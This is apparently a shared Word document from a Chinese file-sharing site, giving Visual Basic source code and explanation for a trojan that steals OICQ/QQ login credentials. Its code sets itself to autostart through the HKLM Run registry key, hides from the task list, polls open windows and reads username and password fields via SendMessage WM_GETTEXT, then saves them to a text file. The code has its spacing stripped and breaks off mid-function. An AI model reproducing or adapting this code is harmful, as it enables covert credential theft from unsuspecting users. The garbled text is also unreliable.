木马源代码Word文档格式.docx
《木马源代码Word文档格式.docx》由会员分享,可在线阅读,更多相关《木马源代码Word文档格式.docx(9页珍藏版)》请在冰点文库上搜索。
的标题,
取得OICQ登录窗口的子窗口(窗口上的控件)
的类名(GetClassName),
然后通过ComboBox、Edit取得用户名和密码
(通过SendMessage发送WM_GETTEXT取得值)。
由于不能判断外部按键事件的发生,只有通过不断的取得密码值,
具体方法如下:
首先取得用户名的值,
然后不停的取密码的值,
再判断窗口的标题是否为用户名,如果为用户名,
则最后一次密码的值就是真正的密码,到此程序完成。
三、程序编制(完整的程序代码和注释)
(1)首先为了避免程序被多次装载,造成系统资源的浪费、及不必要的错误。
声明变量、过程及API函数,写在Module1.bas文件中
DeclareFunctionCreateFileMappingLib"
kernel32"
Alias"
CreateFileMappingA"
(ByValhFileAsLong,lpFileMappigAttributesAsSECURITY_ATTRIBUTES,ByValflProtectAsLong,ByValdwMaximumSizeHighAsLong,ByValdwMaximumSizeLowAsLong,ByVallpNameAsString)AsLong'
创建一个新的文件映射对象
PrivateDeclareFunctionCloseHandleLib"
(ByValhObjectAsLong)AsLong'
关闭一个内核对象
TypeSECURITY_ATTRIBUTES
nLengthAsLong
lpSecurityDescriptorAsLong
bInheritHandleAsLong
EndType
ConstPAGE_READWRITE=1
ConstERROR_ALREADY_EXISTS=183&
建立判断程序是否多启动的过程
SubMain()
DimynRunAsLong
DimsaAsSECURITY_ATTRIBUTES
sa.bInheritHandle=1
sa.lpSecurityDescriptor=0
sa.nLength=Len(sa)
ynRun=CreateFileMapping(&
HFFFFFFFF,sa,PAGE_READWRITE,0,128,App.title)'
创建内存映射文件
If(Err.LastDllError=ERROR_ALREADY_EXISTS)Then'
如果指定内存文件已存在,则退出
CloseHandleynRun'
退出程序前关闭内存映射文件
End
EndIf
EndSub
(2)即时监视,就需要在系统启动时,程序自启动,这里使用修改注册表的方法
DeclareFunctionRegCreateKey&
Lib"
advapi32.dll"
RegCreateKeyA"
(ByValhKey&
ByVallpszSubKey$,lphKey&
)'
在指定的项下创建一个新项。
如指定的项已经存在,那么函数会打开现有的项
DeclareFunctionRegSetValueLib"
RegSetValueA"
(ByValhKeyAsLong,ByVallpSubKeyAsString,ByValdwTypeAsLong,ByVallpDataAsString,ByValcbDataAsLong)AsLong'
设置指定项或子项的默认值
ConstHKEY_LOCAL_MACHINE=&
H80000002
ConstREG_SZ=1
建立使程序自启动的过程
SubAutoRun()
DimsKeyNameAsString,sKeyValueAsString,sKeyValueIconAsString
DimRetAsInteger,lphKeyAsLong
sKeyName="
Software\Microsoft\Windows\CurrentVersion\Run"
'
是启动项在注册表中位置,大家可能通过regedit.exe来查看
sKeyValue=App.Path&
IIf(Len(App.Path)>
3,"
\"
&
"
KillOicq.exe"
"
monitor.exe为这个程序
Ret=RegCreateKey&
(HKEY_LOCAL_MACHINE,sKeyName,lphKey)'
创建新的启动项
Ret=RegSetValue&
(lphKey&
"
REG_SZ,sKeyValue,0&
设置键值
(3)实现程序自身的隐藏(Me.Hide)、在关闭程序对话框中隐藏。
DeclareFunctionRegisterServiceProcessLib"
(ByValdwProcessIDAsLong,ByValdwTypeAsLong)AsLong
ConstRSP_SIMPLE_SERVICE=1'
隐藏
建立实现程序自身在关闭程序对话框中的隐藏的过程
SubHideMyWin()
RegisterServiceProcesslngProcessID,RSP_SIMPLE_SERVICE
(4)即时监视是否运行了OICQ
加载1个Timer控件,其Interval的值为1(你也可以自己设置,尽量少点),这个程序就是通过Timer来实现监视的。
PrivateSubTimer1_Timer()
EnumWindowsAddressOfEnumProc,0'
枚举窗口列表中的所有父窗口(顶级和被所有窗口),开始监视程序
声明变量、过程、函数及API函数,写在Module1.bas文件中
OptionExplicit
DeclareFunctionEnumWindowsLib"
user32"
(ByVallpEnumFuncAsAny,ByVallParamAsLong)AsLong'
遍查窗口
DeclareFunctionGetWindowTextLib"
GetWindowTextA"
(ByValhwndAsLong,ByVallpStringAsString,ByValcchAsLong)AsLong'
取得窗口标题
DeclareFunctionGetClassNameLib"
GetClassNameA"
(ByValhwndAsLong,ByVallpClassNameAsString,ByValnMaxCountAsLong)AsLong'
为指定的窗口取得类名DeclareFunctionGetWindowLib"
(ByValhwndAsLong,ByValwCmdAsLong)AsLong'
获得一个窗口的句柄
ConstGW_CHILD=5'
寻找源窗口的第一个子窗口
ConstGW_HWNDNEXT=2'
为源窗口寻找下一个兄弟窗口
DeclareFunctionSendMessageLib"
SendMessageA"
(ByValhwndAsLong,ByVal_
wMsgAsLong,ByValwParamAsLong,lParamAsAny)AsLong'
发送消息
ConstWM_GETTEXT=&
HD
ConstWM_GETTEXTLENGTH=&
HE
DimbufAsString
Dimnameall,name,passwordall,passwordAsString
DimiAsInteger
Dimtitle,titleall,filepathAsString
PublicFunctionEnumProc(ByValapp_hwndAsLong,ByVallParamAsLong)AsBoolean'
遍查主窗口
DimbufAsString*1024
DimlengthAsLong
filepath=App.Path&
\0.txt"
0.txt为保存帐号、密码的文件
IfDir(filepath)="
Then
title="
titleall="
length=GetWindowText(app_hwnd,buf,Len(buf))
title=Left$(buf,length)'
取得窗口的标题
IfInStr(title,"
)Then'
判断是否为OICQ窗口
CallGetZiWin(app_hwnd)'
调用(5),取得OICQ窗口中的帐号、密码框的类名
Iftitle<
>
IfInStr(titleall,title)Then
EnumProc=1
Else
titleall=titleall+title'
title是指取得的窗口标题
Ifname<
Then'
取得的帐号
IfInStr(title,name)ThenSaveFile'
保存帐号密码(如果取得的标题等于取得的帐号,则表示用户名、密码已顺利取出了),就调用(7)
EndFunction
(5)取得OICQ窗口中的用户名、密码框的类名
自定义取得子窗口类名的函数,写在Module1.bas文件中
我们知道OICQ主窗口的用户名的类名是ComboBox,密码框的类名是Edit,这里可以通过取得类名的办法,取得它们的句柄,从而取得它们的值。
PublicFunctionGetZiWin(window_hwndAsLong)AsString
DimbuflenAsLong
Dimchild_hwndAsLong
Dimchildren()AsLong
Dimnum_childrenAsInteger
'
取得类名
buflen=256
buf=Space$(buflen-1)
buflen=GetClassName(window_hwnd,buf,buflen)
buf=Left$(buf,buflen)
IfRight(buf,8)="
ComboBox"
OrRight(buf,4)="
Edit"
进行判断
GetZiWin=GetWinText(window_hwnd)'
调用(6),取得它们的值
ExitFunction
num_children=0
child_hwnd=GetWindow(window_hwnd,GW_CHILD)'
取得第1个子窗口的句柄
DoWhilechild_hwnd<
0'
如果有子窗口
num_children=num_children+1
ReDimPreservechildren(1Tonum_children)
children(num_children)=child_hwnd
child_hwnd=GetWindow(child_hwnd,GW_HWNDNEXT)'
取得下一个兄弟窗口的句柄Loop
Fori=1Tonum_children
CallGetZiWin(children(i))
Nexti
(6)通过(5)已得到了用户名、密码框的类名,也就取得了句柄,这一步进行取值
自定义取得子窗口的值的函数,写在Module1.bas文件中
PublicFunctionGetWinText(window_hwndAsLong)AsString'
取得子窗口的值
DimtxtlenAsLong
DimtxtAsString
通过SendMessage发送WM_GETTEXT取得地址栏的值
GetWinText="
Ifwindow_hwnd=0ThenExitFunction
txtlen=SendMessage(window_hwnd,WM_GETTEXTLENGTH,0,0)
Iftxtlen=0ThenExitFunction
txtlen=txtlen+1
txt=Space$(txtlen)
txtlen=SendMessage(window_hwnd,WM_GETTEXT,txtlen,ByValtxt)
GetWinText=Left$(txt,txtlen)
Ifbuf="
name=GetWinText
IfInStr(nameall,name)Then
i=0